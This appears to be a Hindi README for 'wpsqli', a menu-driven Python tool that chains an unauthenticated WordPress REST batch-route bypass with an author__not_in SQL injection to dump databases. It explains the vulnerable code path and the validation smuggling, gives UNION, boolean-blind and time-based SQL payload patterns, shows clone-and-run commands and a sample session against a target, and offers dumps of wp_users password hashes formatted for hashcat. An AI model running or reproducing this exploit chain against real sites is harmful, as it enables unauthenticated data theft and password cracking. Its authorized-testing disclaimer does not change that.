
wpsqli CVE-2026-60137 के लिए पूर्ण SQLi एक्सट्रैक्टर + डंपर
WordPress कोर में
author__not_inSQL इंजेक्शन भेद्यता का शोषण करने वाला एक तेज़, मेनू-संचालित डेटाबेस निष्कर्षण उपकरण। यह उपकरण पूरी तरह से डेटाबेस एन्यूमरेशन और डंपिंग पर केंद्रित है, तथा SQLi सिंक तक बिना प्रमाणीकरण (unauthenticated) पहुँचने के लिए REST बैच रूट कन्फ्यूज़न (CVE-2026-63030) का उपयोग करता है।
wpsqli एक शुद्ध Python उपकरण है जिसे WordPress कोर में एक श्रृंखलाबद्ध (chained) भेद्यता का शोषण करने के लिए डिज़ाइन किया गया है जो डेटाबेस में बिना प्रमाणीकरण के SQL इंजेक्शन की अनुमति देती है। यह बैच रूट कन्फ्यूज़न बग के माध्यम से WordPress REST API सत्यापन को बायपास करता है, और एक कच्चा स्ट्रिंग पेलोड सीधे WP_Query SQL सिंक तक पहुँचाता है।
यह उपकरण गति और लचीलेपन के लिए बनाया गया है: यह स्वचालित रूप से UNION-आधारित इन-बैंड निष्कर्षण (तुरंत) का प्रयास करता है, विफल होने पर 8-थ्रेड समानांतर बूलियन-ब्लाइंड निष्कर्षण पर वापस आता है, और आवश्यकता पड़ने पर अंततः अनुक्रमिक समय-आधारित (time-based) निष्कर्षण का उपयोग करता है।
यह उपकरण बिना प्रमाणीकरण के डेटाबेस निष्कर्षण प्राप्त करने के लिए दो स्वतंत्र भेद्यताओं को श्रृंखलाबद्ध करता है:
author__not_in SQL इंजेक्शन (CVE-2026-60137)स्थान: wp-includes/class-wp-query.php, WP_Query::get_posts()
author__not_in पैरामीटर केवल तभी absint() स्वच्छता लागू करता है जब इनपुट एक array हो। यदि कोई स्ट्रिंग पारित की जाती है, तो is_array() गार्ड को छोड़ दिया जाता है, स्ट्रिंग बिना किसी परिवर्तन के implode() से गुज़रती है, और SQL $where क्लॉज़ में सीधे जोड़ दी जाती है।
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
REST API पोस्ट्स एंडपॉइंट author_exclude को author__not_in पर मैप करता है, लेकिन इसे इंटीजर के type => 'array' के रूप में घोषित करता है, इसलिए कोर किसी स्ट्रिंग को अस्वीकार/परिवर्तित कर देता है। बग B REST बैच एंडपॉइंट (/wp-json/batch/v1) में एक डीसिंक्रोनाइज़ेशन बग का दुरुपयोग करके सत्यापन के पार स्ट्रिंग को तस्करी से पहुँचाता है। एक दुर्भावनापूर्ण पाथ प्राइमर इंजेक्ट करके जिसे wp_parse_url() अस्वीकार कर देता है, बैच अनुरोध सूची में एक WP_Error सीड किया जाता है, जिससे $matches और $validation का तालमेल बिगड़ जाता है। यह एक अनुवर्ती उप-अनुरोध को पैरामीटर सत्यापन के बिना गलत हैंडलर के अंतर्गत भेजे जाने की अनुमति देता है।
चेतावनी: SQLi सिंक केवल तभी पहुँचा जा सकता है जब एक स्थायी ऑब्जेक्ट कैश (Redis/Memcached) उपयोग में न हो।
pip install आवश्यक नहीं।wp_posts पंक्ति बनाता है (तुरंत)।Ctrl+C वर्तमान क्वेरी को रोकता है और सत्र को क्रैश किए बिना आंशिक परिणाम लौटाता है।ID|user_login|user_pass प्रारूप शामिल है जिसमें bcrypt हैश hashcat -m 35500 के लिए तैयार हैं।कोई स्थापना आवश्यक नहीं है। बस डाउनलोड करें और चलाएं:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
आवश्यकताएँ:
इंटरैक्टिव मेनू लॉन्च करें:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| विकल्प | विवरण |
|---|---|
0 | किसी लक्ष्य से कनेक्ट करें (URL स्वचालित रूप से स्वच्छ करता है) |
1 | भेद्यता और सक्रिय निष्कर्षण मोड सत्यापित करें |
| विकल्प | विवरण |
|---|---|
9 | MySQL सर्वर पर सभी डेटाबेस सूचीबद्ध करें |
10 | वर्तमान या निर्दिष्ट डेटाबेस में सभी टेबल सूचीबद्ध करें |
11 | किसी विशिष्ट टेबल के सभी कॉलम नाम सूचीबद्ध करें |
| विकल्प | विवरण |
|---|---|
12 | एकल टेबल डंप करें (वैकल्पिक पंक्ति सीमा और फ़ाइल सहेजने के साथ) |
13 | वर्तमान डेटाबेस में सभी टेबल डंप करें |
14 | पूर्ण न्यूक्लियर डंप — सभी टेबल + सभी पंक्तियाँ टाइमस्टैम्प वाली फ़ाइल में |
यह उपकरण स्वचालित रूप से गति के क्रम में तीन निष्कर्षण मोड आज़माता है:
निकाले गए मान के साथ एक नकली wp_posts पंक्ति बनाता है जो post_title कॉलम में हेक्स-एन्कोडेड होती है (||..|| मार्करों में लिपटी हुई)। REST API इसे प्रतिक्रिया में वापस दर्शाता है — पूरी स्ट्रिंग एक ही HTTP अनुरोध में।
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) का उपयोग करता हैयदि UNION अनुपलब्ध है, तो प्रत्येक वर्ण निकालने के लिए बाइनरी खोज के साथ 8 समानांतर थ्रेड का उपयोग करता है। बूलियन ओरेकल जाँचता है कि इंजेक्टेड AND (condition) पंक्तियाँ लौटाता है या नहीं।
यदि बूलियन ओरेकल कोई पंक्ति नहीं लौटाता है तो फ़ॉलबैक (उदा., 0 प्रकाशित पोस्ट वाली साइट)। प्रतिक्रिया विलंबता में सत्य एन्कोड करने के लिए IF(condition, SLEEP(N), 0) का उपयोग करता है।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए डिज़ाइन किया गया है। आपको इस उपकरण का उपयोग केवल उन प्रणालियों के विरुद्ध करना चाहिए जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है।
इस उपकरण के लेखक और योगदानकर्ता इस सॉफ़्टवेयर के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं। अपने जोखिम पर उपयोग करें।
यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
| संस्करण सीमा | स्थिति |
|---|
| 6.8.0 – 6.8.5 | SQLi बग मौजूद, लेकिन श्रृंखला अप्राप्य (बैच कन्फ्यूज़न 6.9.0 में पेश किया गया) |
| 6.9.0 – 6.9.4 | असुरक्षित (VULNERABLE) — पूर्ण बिना-प्रमाणीकरण श्रृंखला |
| 7.0.0 – 7.0.1 | असुरक्षित (VULNERABLE) — पूर्ण बिना-प्रमाणीकरण श्रृंखला |
| 6.8.6 | पैच किया गया (SQLi) |
| 6.9.5 | पैच किया गया |
| 7.0.2 | पैच किया गया |
| 7.1-beta2+ | पैच किया गया |
| विकल्प | विवरण |
|---|
2 | MySQL संस्करण निकालें (SELECT @@version) |
3 | वर्तमान डेटाबेस का नाम निकालें (SELECT DATABASE()) |
4 | वर्तमान DB उपयोगकर्ता निकालें (SELECT CURRENT_USER()) |
5 | WordPress टेबल उपसर्ग निकालें |
6 | wp_users टेबल डंप करें (ID, login, password hash) |
7 | एक कस्टम SQL क्वेरी चलाएं |
8 | सभी फिंगरप्रिंट क्रम से चलाएं (विकल्प 2-5) |
| मोड | प्रति क्वेरी अनुरोध | गति | कब उपयोग करें |
|---|
| UNION | 1 | तुरंत | कोई ऑब्जेक्ट कैश नहीं, कॉलम गिनती मेल खाती है |
| बूलियन (8 थ्रेड) | ~7 × स्ट्रिंग_लंबाई / 8 | तेज़ | UNION अवरुद्ध, पंक्तियाँ मौजूद हैं |
| समय-आधारित | ~7 × sleep × स्ट्रिंग_लंबाई | धीमा | बूलियन ओरेकल के लिए कोई पंक्तियाँ नहीं |
| निष्कर्षण | वर्ण | अनुरोध | समय |
|---|
| MySQL संस्करण | ~20 | ~140 | ~15s |
| डेटाबेस नाम | ~15 | ~105 | ~12s |
| DB उपयोगकर्ता | ~25 | ~175 | ~20s |
| टेबल उपसर्ग | ~5 | ~35 | ~5s |
| wp_users पंक्ति (200 वर्ण) | 200 | ~1400 | ~2min |